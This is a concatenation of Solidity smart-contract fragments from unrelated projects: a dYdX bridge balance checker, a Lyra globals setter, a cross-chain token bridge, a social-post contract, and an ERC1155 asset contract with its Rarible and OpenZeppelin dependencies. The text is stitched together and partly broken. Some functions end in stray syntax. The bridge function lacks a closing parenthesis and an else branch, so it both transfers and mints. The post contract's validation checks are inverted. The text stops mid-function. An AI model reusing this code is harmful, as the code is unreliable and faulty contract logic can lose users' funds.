info.makerAddress, address(info.dydx) ); depositableMakerAmount = LibSafeMath.min256( depositableMakerAmount, uint256(D18.div(supply, depositRate)) ); } } } /// @dev Get how much maker asset we can transfer before an account /// becomes insolvent. /// @param info State from `_getBalanceCheckInfo()`. function _getSolventMakerAmount(BalanceCheckInfo memory info) internal view returns (uint256 solventMakerAmount) { solventMakerAmount = uint256(-1); assert(info.actions.length >= 1); IDydxBridge.BridgeAction memory withdraw = info.actions[info.actions.length - 1]; assert(withdraw.actionType == IDydxBridge.BridgeActionType.Withdraw); int256 minCr = D18.add(_getMinimumCollateralizationRatio(info.dydx), MARGIN_RATIO_PADDING); // Loop through the accounts. for (uint256 accountIdx = 0; accountIdx < info.accounts.length; ++accountIdx) { (uint256 supplyValue, uint256 borrowValue) = _getAccountMarketValues(info, info.accounts[accountIdx]); // All accounts must currently be solvent. if (borrowValue != 0 && D18.div(supplyValue, borrowValue) < minCr) { return 0; } // If this is the same account used to in the withdraw/borrow action, // compute the maker amount at which it will become insolvent. if (accountIdx != withdraw.accountIdx) { continue; } // Compute the deposit/collateralization rate, which is the rate at // which (USD) value is added to the account across all markets. int256 dd = 0; for (uint256 i = 0; i < info.actions.length - 1; ++i) { IDydxBridge.BridgeAction memory deposit = info.actions[i]; assert(deposit.actionType == IDydxBridge.BridgeActionType.Deposit); if (deposit.accountIdx == accountIdx) { dd = D18.add( dd, _getActionRateValue( info, deposit ) ); } } // Compute the borrow/withdraw rate, which is the rate at which // (USD) value is deducted from the account. int256 db = _getActionRateValue( info, withdraw ); // If the deposit to withdraw ratio is >= the minimum collateralization // ratio, then we will never become insolvent at these prices. if (D18.div(dd, db) >= minCr) { continue; } // If the adjusted deposit rates are equal, the account will remain // at the same level of collateralization. if (D18.mul(minCr, db) == dd) { continue; } // The collateralization ratio for this account, parameterized by // `t` (maker amount), is given by: // `cr = (supplyValue + t * dd) / (borrowValue + t * db)` // Solving for `t` gives us: // `t = (supplyValue - cr * borrowValue) / (cr * db - dd)` int256 t = D18.div( D18.sub(supplyValue, D18.mul(minCr, borrowValue)), D18.sub(D18.mul(minCr, db), dd) ); solventMakerAmount = LibSafeMath.min256( solventMakerAmount, // `t` is in maker token units, so convert it to maker wei. _toWei(info.makerTokenAddress, uint256(D18.clip(t))) ); } } /// @dev Create a `BalanceCheckInfo` struct. /// @param order An order with a `DydxBridge` maker asset. /// @param dydx The address of the Dydx contract. /// @return info The `BalanceCheckInfo` struct. function _getBalanceCheckInfo(LibOrder.Order memory order, address dydx) private pure returns (BalanceCheckInfo memory info) { bytes memory rawBridgeData; (, info.makerTokenAddress, info.bridgeAddress, rawBridgeData) = LibAssetData.decodeERC20BridgeAssetData(order.makerAssetData); info.dydx = IDydx(dydx); info.makerAddress = order.makerAddress; if (order.takerAssetData.length == 36) { if (order.takerAssetData.readBytes4(0) == IAssetData(0).ERC20Token.selector) { (, info.takerTokenAddress) = LibAssetData.decodeERC20AssetData(order.takerAssetData); } } info.orderMakerToTakerRate = D18.div(order.takerAssetAmount, order.makerAssetAmount); (IDydxBridge.BridgeData memory bridgeData) = abi.decode(rawBridgeData, (IDydxBridge.BridgeData)); info.accounts = bridgeData.accountNumbers; info.actions = bridgeData.actions; } /// @dev Returns the conversion rate for an action. /// @param action A `BridgeAction`. function _getActionRate(IDydxBridge.BridgeAction memory action) private pure returns (int256 rate) { rate = action.conversionRateDenominator == 0 ? D18.one() : D18.div( action.conversionRateNumerator, action.conversionRateDenominator ); } /// @dev Returns the USD value of an action based on its conversion rate /// and market prices. /// @param info State from `_getBalanceCheckInfo()`. /// @param action A `BridgeAction`. function _getActionRateValue( BalanceCheckInfo memory info, IDydxBridge.BridgeAction memory action ) private view returns (int256 value) { address toToken = info.dydx.getMarketTokenAddress(action.marketId); uint256 fromTokenDecimals = LibERC20Token.decimals(info.makerTokenAddress); uint256 toTokenDecimals = LibERC20Token.decimals(toToken); // First express the rate as 18-decimal units. value = toTokenDecimals > fromTokenDecimals ? int256( uint256(_getActionRate(action)) .safeDiv(10 ** (toTokenDecimals - fromTokenDecimals)) ) : int256( uint256(_getActionRate(action)) .safeMul(10 ** (fromTokenDecimals - toTokenDecimals)) ); // Prices have 18 + (18 - TOKEN_DECIMALS) decimal places because // consistency is stupid. uint256 price = info.dydx.getMarketPrice(action.marketId).value; // Make prices have 18 decimals. if (toTokenDecimals > 18) { price = price.safeMul(10 ** (toTokenDecimals - 18)); } else { price = price.safeDiv(10 ** (18 - toTokenDecimals)); } // The action value is the action rate times the price. value = D18.mul(price, value); // Scale by the market premium. int256 marketPremium = D18.add( D18.one(), info.dydx.getMarketMarginPremium(action.marketId).value ); if (action.actionType == IDydxBridge.BridgeActionType.Deposit) { value = D18.div(value, marketPremium); } else { value = D18.mul(value, marketPremium); } } /// @dev Convert a `D18` fraction of 1 token to the equivalent integer wei. /// @param token Address the of the token. /// @param units Token units expressed with 18 digit precision. function _toWei(address token, uint256 units) private view returns (uint256 rate) { uint256 decimals = LibERC20Token.decimals(token); rate = decimals > 18 ? units.safeMul(10 ** (decimals - 18)) : units.safeDiv(10 ** (18 - decimals)); } /// @dev Get the global minimum collateralization ratio required for /// an account to be considered solvent. /// @param dydx The Dydx interface. function _getMinimumCollateralizationRatio(IDydx dydx) private view returns (int256 ratio) { IDydx.RiskParams memory riskParams = dydx.getRiskParams(); return D18.add(D18.one(), D18.toSigned(riskParams.marginRatio.value)); } /// @dev Get the total supply and borrow values for an account across all markets. /// @param info State from `_getBalanceCheckInfo()`. /// @param account The Dydx account identifier. function _getAccountMarketValues(BalanceCheckInfo memory info, uint256 account) private view returns (uint256 supplyValue, uint256 borrowValue) { (IDydx.Value memory supplyValue_, IDydx.Value memory borrowValue_) = info.dydx.getAdjustedAccountValues(IDydx.AccountInfo( info.makerAddress, account )); // Account values have 36 decimal places because dydx likes to make sure // you're paying attention. return (supplyValue_.value / 1e18, borrowValue_.value / 1e18); } /// @dev Get the amount of an ERC20 token held by `owner` that can be transferred /// by `spender`. /// @param tokenAddress The address of the ERC20 token. /// @param owner The address of the token holder. /// @param spender The address of the token spender. function _getTransferabeTokenAmount( address tokenAddress, address owner, address spender ) private view returns (uint256 transferableAmount) { return LibSafeMath.min256( LibERC20Token.allowance(tokenAddress, owner, spender), LibERC20Token.balanceOf(tokenAddress, owner) ); } }
Gets the maker allowance for a Get the maker asset balance of an order with a `DydxBridge` maker asset. order An order with a dydx maker asset. dydx The address of the dydx contract. return balance The maker asset balance. Actions must be well-formed. If the rate we withdraw maker tokens is less than one, the asset proxy will throw because we will always transfer less maker tokens than asked.
function getDydxMakerBalance(LibOrder.Order memory order, address dydx) public view returns (uint256 balance) { BalanceCheckInfo memory info = _getBalanceCheckInfo(order, dydx); if (!_areActionsWellFormed(info)) { return 0; } if (_getMakerTokenWithdrawRate(info) < D18.one()) { return 0; } ); }
6,462,103
./full_match/69/0x8EB5A8B9732022F20ab4d3128DDf3a50a6dAa7A2/sources/contracts/LyraGlobals.sol
Set the globals that apply to all OptionMarkets. _synthetix The address of Synthetix. _exchanger The address of Synthetix's Exchanger. _exchangeRates The address of Synthetix's ExchangeRates. _collateralShort The address of Synthetix's CollateralShort./
function setGlobals( ISynthetix _synthetix, IExchanger _exchanger, IExchangeRates _exchangeRates, ICollateralShort _collateralShort ) external onlyOwner { synthetix = _synthetix; exchanger = _exchanger; exchangeRates = _exchangeRates; collateralShort = _collateralShort; emit GlobalsSet(_synthetix, _exchanger, _exchangeRates, _collateralShort); }
13,238,162
./full_match/42220/0xB17D313657d8c7056B297e992488c58E919a4A42/sources/contracts/messagePassingBridge/MessagePassingBridge.sol
Bridges tokens from one chain to another, this performs minting or unlock from The address to bridge tokens from target The address to bridge tokens to normalizedAmount The amount of tokens to bridge sourceChainId The chain ID of the source chain id The ID of the transfer/verify that we trust the source (using lz format) if will still block the message pathway from (srcChainId, srcAddress). should not receive message from untrusted remote.unlock on mainnet mint on other chains
function _bridgeFrom( address from, address target, uint256 normalizedAmount, uint256 sourceChainId, address sourceContract, uint256 id, BridgeService bridge ) internal { if (toLzChainId(sourceChainId) == 0) revert UNSUPPORTED_CHAIN(sourceChainId); if (disabledSourceBridges[keccak256(abi.encode(sourceChainId, bridge))]) revert BRIDGE_LIMITS('source disabled'); if (executedRequests[id]) revert ALREADY_EXECUTED(id); bytes memory trustedRemote = trustedRemoteLookup[toLzChainId(sourceChainId)]; bytes memory sourceUA = abi.encodePacked(sourceContract, address(this)); if ( sourceUA.length != trustedRemote.length || trustedRemote.length == 0 || keccak256(sourceUA) != keccak256(trustedRemote) ) { emit FalseSender(sourceChainId, sourceContract); return; } _enforceLimits(from, target, normalizedAmount, _chainId()); uint256 tokenAmount = BridgeHelperLibrary.normalizeFrom18ToTokenDecimals( normalizedAmount, nativeToken().decimals() uint256 fee = _takeFee(tokenAmount); _topGas(target); if (_chainId() == 1 || _chainId() == 5) { if (nativeToken().transfer(target, tokenAmount - fee) == false) revert TRANSFER(); if (fee > 0) nativeToken().burn(fee); IMinter(nameService.getAddress('MINTBURN_WRAPPER')).mint(target, tokenAmount - fee); if (fee > 0) IMinter(nameService.getAddress('MINTBURN_WRAPPER')).mint(feeRecipient, fee); } emit ExecutedTransfer(from, target, normalizedAmount, fee, sourceChainId, bridge, id); }
16,346,014
./full_match/5/0x0aFDc775FeFD856F1CF3F369c210915B0e7E8F75/sources/contracts/CosmicLinks.sol
Function Everthing is ok❓ we need to convert string to bytes to use length method in solidity
function createPost(address _owner, string memory _title, string memory _image, uint256 _post_time) public returns(uint256){ Post storage post = posts[numberOfPosts]; require(bytes(post.title).length == 0 ,"Title should not be empty"); require(bytes(post.image).length == 0 ,"Title should not be empty"); post.owner = _owner; post.title = _title; post.image = _image; post.likes_count = 0; post.comment_count = 0; post.post_time = _post_time; numberOfPosts++; return numberOfPosts - 1; }
1,851,500
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; pragma abicoder v2; import "./ERC1155Base.sol"; import "../whitelist/interfaces/IWlController.sol"; contract ERC1155CurioAssetRoles is ERC1155Base { /// @notice Whitelist controller IWlController public wlController; /// @notice Admins managing minters mapping(address => bool) public isAdmin; /// @notice Minters managing mint logic mapping(address => bool) public isMinter; event CreateERC1155CurioAssetRoles(address owner, string name, string symbol); event SetWlController(address indexed wlController); event SetAdminPermission(address indexed admin, bool permission); event SetMinterPermission(address indexed minter, bool permission, address indexed admin); event SetContractURI(string contractURI); event SetBaseURI(string baseURI); modifier onlyAdmin { require(isAdmin[_msgSender()], "ERC1155CurioAssetRoles: caller is not the admin"); _; } modifier onlyMinter { require(isMinter[_msgSender()], "ERC1155CurioAssetRoles: caller is not the minter"); _; } function __ERC1155CurioAssetRoles_init( string memory _name, string memory _symbol, string memory baseURI, string memory contractURI ) external initializer { __Ownable_init_unchained(); __ERC1155Lazy_init_unchained(); __ERC165_init_unchained(); __Context_init_unchained(); __Mint1155Validator_init_unchained(); __ERC1155_init_unchained(""); __HasContractURI_init_unchained(contractURI); __ERC1155Burnable_init_unchained(); __RoyaltiesV2Upgradeable_init_unchained(); __ERC1155Base_init_unchained(_name, _symbol); _setBaseURI(baseURI); emit CreateERC1155CurioAssetRoles(_msgSender(), _name, _symbol); } /** * @notice Mint new tokens only by Minter role. */ function mintAndTransfer(LibERC1155LazyMint.Mint1155Data memory data, address to, uint256 _amount) public override virtual onlyMinter { super.mintAndTransfer(data, to, _amount); } /** * @notice Burn tokens only by Minter role. */ function burn(address account, uint256 id, uint256 value) public override virtual onlyMinter { super.burn(account, id, value); } /** * @notice Burn batch of tokens only by Minter role. */ function burnBatch(address account, uint256[] memory ids, uint256[] memory values) public override virtual onlyMinter { super.burnBatch(account, ids, values); } /** * @notice Set a new whitelist controller. * @param _wlController New whitelist controller. */ function setWlController(IWlController _wlController) external onlyOwner { wlController = _wlController; emit SetWlController(address(_wlController)); } /** * @notice Set an admin permission. * @param _user Account address. * @param _permission Is there permission or not. */ function setAdminPermission(address _user, bool _permission) external onlyOwner { isAdmin[_user] = _permission; emit SetAdminPermission(_user, _permission); } /** * @notice Set a minter permission. * @param _user Account address. * @param _permission Is there permission or not. */ function setMinterPermission(address _user, bool _permission) external onlyAdmin { isMinter[_user] = _permission; emit SetMinterPermission(_user, _permission, _msgSender()); } /** * @notice Set contractURI. * @param _contractURI New contractURI. */ function setContractURI(string memory _contractURI) external onlyAdmin { _setContractURI(_contractURI); emit SetContractURI(_contractURI); } /** * @notice Set _baseURI. * @param _baseURI Base URI of all tokens. */ function setBaseURI(string memory _baseURI) external onlyMinter { _setBaseURI(_baseURI); emit SetBaseURI(_baseURI); } /** * @notice Set URI to target token by tokenId. * @param _tokenId Target tokenId. * @param _uri New URI of target tokenId. */ function setTokenURI(uint256 _tokenId, string memory _uri) external onlyMinter { _setTokenURI(_tokenId, _uri); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. */ function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual override { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); // require from and to addresses in whitelist IWlController controller = wlController; if (address(controller) != address(0)) { // check mint case if (from != address(0)) { require( controller.isInvestorAddressActive(from), "ERC1155CurioAssetRoles: transfer permission denied" ); } // check burn case if (to != address(0)) { require( controller.isInvestorAddressActive(to), "ERC1155CurioAssetRoles: transfer permission denied" ); } } } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; /** * @dev Interface of Whitelist controller. */ interface IWlController { function isInvestorAddressActive(address account) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "./ERC1271.sol"; import "@openzeppelin/contracts-upgradeable/drafts/EIP712Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/cryptography/ECDSAUpgradeable.sol"; abstract contract ERC1271Validator is EIP712Upgradeable { using AddressUpgradeable for address; using ECDSAUpgradeable for bytes32; string constant SIGNATURE_ERROR = "signature verification error"; bytes4 constant internal MAGICVALUE = 0x1626ba7e; function validate1271(address signer, bytes32 structHash, bytes memory signature) internal view { bytes32 hash = _hashTypedDataV4(structHash); if (signer.isContract()) { require( ERC1271(signer).isValidSignature(hash, signature) == MAGICVALUE, SIGNATURE_ERROR ); } else { require( hash.recover(signature) == signer, SIGNATURE_ERROR ); } } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; abstract contract ERC1271 { bytes4 constant public ERC1271_INTERFACE_ID = 0xfb855dc9; // this.isValidSignature.selector bytes4 constant public ERC1271_RETURN_VALID_SIGNATURE = 0x1626ba7e; bytes4 constant public ERC1271_RETURN_INVALID_SIGNATURE = 0x00000000; /** * @dev Function must be implemented by deriving contract * @param _hash Arbitrary length data signed on the behalf of address(this) * @param _signature Signature byte array associated with _data * @return A bytes4 magic value 0x1626ba7e if the signature check passes, 0x00000000 if not * * MUST NOT modify state (using STATICCALL for solc < 0.5, view modifier for solc > 0.5) * MUST allow external calls */ function isValidSignature(bytes32 _hash, bytes memory _signature) public virtual view returns (bytes4); function returnIsValidSignatureMagicNumber(bool isValid) internal pure returns (bytes4) { return isValid ? ERC1271_RETURN_VALID_SIGNATURE : ERC1271_RETURN_INVALID_SIGNATURE; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "../erc-1271/ERC1271Validator.sol"; import "@rarible/lazy-mint/contracts/erc-1155/LibERC1155LazyMint.sol"; contract Mint1155Validator is ERC1271Validator { function __Mint1155Validator_init_unchained() internal initializer { __EIP712_init_unchained("Mint1155", "1"); } function validate(address account, bytes32 hash, bytes memory signature) internal view { validate1271(account, hash, signature); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; pragma abicoder v2; import "@openzeppelin/contracts-upgradeable/token/ERC1155/ERC1155Upgradeable.sol"; import "@rarible/royalties/contracts/impl/RoyaltiesV2Impl.sol"; import "@rarible/royalties-upgradeable/contracts/RoyaltiesV2Upgradeable.sol"; import "@rarible/lazy-mint/contracts/erc-1155/IERC1155LazyMint.sol"; import "./Mint1155Validator.sol"; import "./ERC1155BaseURI.sol"; abstract contract ERC1155Lazy is IERC1155LazyMint, ERC1155BaseURI, Mint1155Validator, RoyaltiesV2Upgradeable, RoyaltiesV2Impl { using SafeMathUpgradeable for uint; mapping(uint256 => LibPart.Part[]) public creators; mapping(uint => uint) private supply; mapping(uint => uint) private minted; function __ERC1155Lazy_init_unchained() internal initializer { _registerInterface(0x6db15a0f); } function transferFromOrMint( LibERC1155LazyMint.Mint1155Data memory data, address from, address to, uint256 amount ) override external { uint balance = balanceOf(from, data.tokenId); uint left = amount; if (balance != 0) { uint transfer = amount; if (balance < amount) { transfer = balance; } safeTransferFrom(from, to, data.tokenId, transfer, ""); left = amount - transfer; } if (left > 0) { mintAndTransfer(data, to, left); } } function mintAndTransfer(LibERC1155LazyMint.Mint1155Data memory data, address to, uint256 _amount) public override virtual { address minter = address(data.tokenId >> 96); address sender = _msgSender(); require(minter == sender || isApprovedForAll(minter, sender), "ERC1155: transfer caller is not approved"); require(_amount > 0, "amount incorrect"); if (supply[data.tokenId] == 0) { require(minter == data.creators[0].account, "tokenId incorrect"); require(data.supply > 0, "supply incorrect"); require(data.creators.length == data.signatures.length); bytes32 hash = LibERC1155LazyMint.hash(data); for (uint i = 0; i < data.creators.length; i++) { address creator = data.creators[i].account; if (creator != sender) { validate(creator, hash, data.signatures[i]); } } _saveSupply(data.tokenId, data.supply); _saveRoyalties(data.tokenId, data.royalties); _saveCreators(data.tokenId, data.creators); _setTokenURI(data.tokenId, data.tokenURI); } _mint(to, data.tokenId, _amount, ""); } function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual override { uint newMinted = amount.add(minted[id]); require(newMinted <= supply[id], "more than supply"); minted[id] = newMinted; super._mint(account, id, amount, data); } function _saveSupply(uint tokenId, uint _supply) internal { require(supply[tokenId] == 0); supply[tokenId] = _supply; emit Supply(tokenId, _supply); } function _saveCreators(uint tokenId, LibPart.Part[] memory _creators) internal { LibPart.Part[] storage creatorsOfToken = creators[tokenId]; uint total = 0; for (uint i = 0; i < _creators.length; i++) { require(_creators[i].account != address(0x0), "Account should be present"); require(_creators[i].value != 0, "Creator share should be positive"); creatorsOfToken.push(_creators[i]); total = total.add(_creators[i].value); } require(total == 10000, "total amount of creators share should be 10000"); emit Creators(tokenId, _creators); } function updateAccount(uint256 _id, address _from, address _to) external { require(_msgSender() == _from, "not allowed"); super._updateAccount(_id, _from, _to); } function getCreators(uint256 _id) external view returns (LibPart.Part[] memory) { return creators[_id]; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "@openzeppelin/contracts-upgradeable/token/ERC1155/ERC1155Upgradeable.sol"; abstract contract ERC1155DefaultApproval is ERC1155Upgradeable { mapping(address => bool) private defaultApprovals; event DefaultApproval(address indexed operator, bool hasApproval); function _setDefaultApproval(address operator, bool hasApproval) internal { defaultApprovals[operator] = hasApproval; emit DefaultApproval(operator, hasApproval); } function isApprovedForAll(address _owner, address _operator) public virtual override view returns (bool) { return defaultApprovals[_operator] || super.isApprovedForAll(_owner, _operator); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/ERC1155Upgradeable.sol"; contract ERC1155BaseURI is ERC1155Upgradeable { using StringsUpgradeable for uint; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } function uri(uint id) external view override virtual returns (string memory) { return _tokenURI(id); } function _tokenURI(uint256 tokenId) internal view virtual returns (string memory) { string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _uri) internal virtual { _tokenURIs[tokenId] = _uri; emit URI(_tokenURI(tokenId), tokenId); } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; pragma abicoder v2; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/ERC1155BurnableUpgradeable.sol"; import "./ERC1155DefaultApproval.sol"; import "./ERC1155Lazy.sol"; import "../HasContractURI.sol"; abstract contract ERC1155Base is OwnableUpgradeable, ERC1155DefaultApproval, ERC1155BurnableUpgradeable, ERC1155Lazy, HasContractURI { string public name; string public symbol; function setDefaultApproval(address operator, bool hasApproval) external onlyOwner { _setDefaultApproval(operator, hasApproval); } function isApprovedForAll(address _owner, address _operator) public override(ERC1155Upgradeable, ERC1155DefaultApproval, IERC1155Upgradeable) view returns (bool) { return ERC1155DefaultApproval.isApprovedForAll(_owner, _operator); } function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual override(ERC1155Upgradeable, ERC1155Lazy) { ERC1155Lazy._mint(account, id, amount, data); } function __ERC1155Base_init_unchained(string memory _name, string memory _symbol) internal initializer { name = _name; symbol = _symbol; } function uri(uint id) external view override(ERC1155BaseURI, ERC1155Upgradeable) virtual returns (string memory) { return _tokenURI(id); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "@openzeppelin/contracts-upgradeable/introspection/ERC165Upgradeable.sol"; abstract contract HasContractURI is ERC165Upgradeable { string public contractURI; /* * bytes4(keccak256('contractURI()')) == 0xe8a3d485 */ bytes4 private constant _INTERFACE_ID_CONTRACT_URI = 0xe8a3d485; function __HasContractURI_init_unchained(string memory _contractURI) internal initializer { contractURI = _contractURI; _registerInterface(_INTERFACE_ID_CONTRACT_URI); } /** * @dev Internal function to set the contract URI * @param _contractURI string URI prefix to assign */ function _setContractURI(string memory _contractURI) internal { contractURI = _contractURI; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; pragma abicoder v2; import "./AbstractRoyalties.sol"; import "../RoyaltiesV2.sol"; contract RoyaltiesV2Impl is AbstractRoyalties, RoyaltiesV2 { function getRoyalties(uint256 id) override external view returns (LibPart.Part[] memory) { return royalties[id]; } function _onRoyaltiesSet(uint256 _id, LibPart.Part[] memory _royalties) override internal { emit RoyaltiesSet(_id, _royalties); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../LibPart.sol"; abstract contract AbstractRoyalties { mapping (uint256 => LibPart.Part[]) public royalties; function _saveRoyalties(uint256 _id, LibPart.Part[] memory _royalties) internal { for (uint i = 0; i < _royalties.length; i++) { require(_royalties[i].account != address(0x0), "Recipient should be present"); require(_royalties[i].value != 0, "Royalty value should be positive"); royalties[_id].push(_royalties[i]); } _onRoyaltiesSet(_id, _royalties); } function _updateAccount(uint256 _id, address _from, address _to) internal { uint length = royalties[_id].length; for(uint i = 0; i < length; i++) { if (royalties[_id][i].account == _from) { royalties[_id][i].account = address(uint160(_to)); } } } function _onRoyaltiesSet(uint256 _id, LibPart.Part[] memory _royalties) virtual internal; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; pragma abicoder v2; import "./LibPart.sol"; interface RoyaltiesV2 { event RoyaltiesSet(uint256 tokenId, LibPart.Part[] royalties); function getRoyalties(uint256 id) external view returns (LibPart.Part[] memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; library LibRoyaltiesV2 { /* * bytes4(keccak256('getRoyalties(LibAsset.AssetType)')) == 0x44c74bcc */ bytes4 constant _INTERFACE_ID_ROYALTIES = 0x44c74bcc; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; library LibPart { bytes32 public constant TYPE_HASH = keccak256("Part(address account,uint96 value)"); struct Part { address payable account; uint96 value; } function hash(Part memory part) internal pure returns (bytes32) { return keccak256(abi.encode(TYPE_HASH, part.account, part.value)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; pragma abicoder v2; import "@openzeppelin/contracts-upgradeable/introspection/ERC165Upgradeable.sol"; import "@rarible/royalties/contracts/LibRoyaltiesV2.sol"; import "@rarible/royalties/contracts/RoyaltiesV2.sol"; abstract contract RoyaltiesV2Upgradeable is ERC165Upgradeable, RoyaltiesV2 { function __RoyaltiesV2Upgradeable_init_unchained() internal initializer { _registerInterface(LibRoyaltiesV2._INTERFACE_ID_ROYALTIES); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "@rarible/royalties/contracts/LibPart.sol"; library LibERC1155LazyMint { bytes4 constant public ERC1155_LAZY_ASSET_CLASS = bytes4(keccak256("ERC1155_LAZY")); struct Mint1155Data { uint tokenId; string tokenURI; uint supply; LibPart.Part[] creators; LibPart.Part[] royalties; bytes[] signatures; } bytes32 public constant MINT_AND_TRANSFER_TYPEHASH = keccak256("Mint1155(uint256 tokenId,uint256 supply,string tokenURI,Part[] creators,Part[] royalties)Part(address account,uint96 value)"); function hash(Mint1155Data memory data) internal pure returns (bytes32) { bytes32[] memory royaltiesBytes = new bytes32[](data.royalties.length); for (uint i = 0; i < data.royalties.length; i++) { royaltiesBytes[i] = LibPart.hash(data.royalties[i]); } bytes32[] memory creatorsBytes = new bytes32[](data.creators.length); for (uint i = 0; i < data.creators.length; i++) { creatorsBytes[i] = LibPart.hash(data.creators[i]); } return keccak256(abi.encode( MINT_AND_TRANSFER_TYPEHASH, data.tokenId, data.supply, keccak256(bytes(data.tokenURI)), keccak256(abi.encodePacked(creatorsBytes)), keccak256(abi.encodePacked(royaltiesBytes)) )); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; pragma abicoder v2; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155Upgradeable.sol"; import "./LibERC1155LazyMint.sol"; import "@rarible/royalties/contracts/LibPart.sol"; interface IERC1155LazyMint is IERC1155Upgradeable { event Supply( uint256 indexed tokenId, uint256 value ); event Creators( uint256 indexed tokenId, LibPart.Part[] creators ); function mintAndTransfer( LibERC1155LazyMint.Mint1155Data memory data, address to, uint256 _amount ) external; function transferFromOrMint( LibERC1155LazyMint.Mint1155Data memory data, address from, address to, uint256 amount ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library StringsUpgradeable { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, 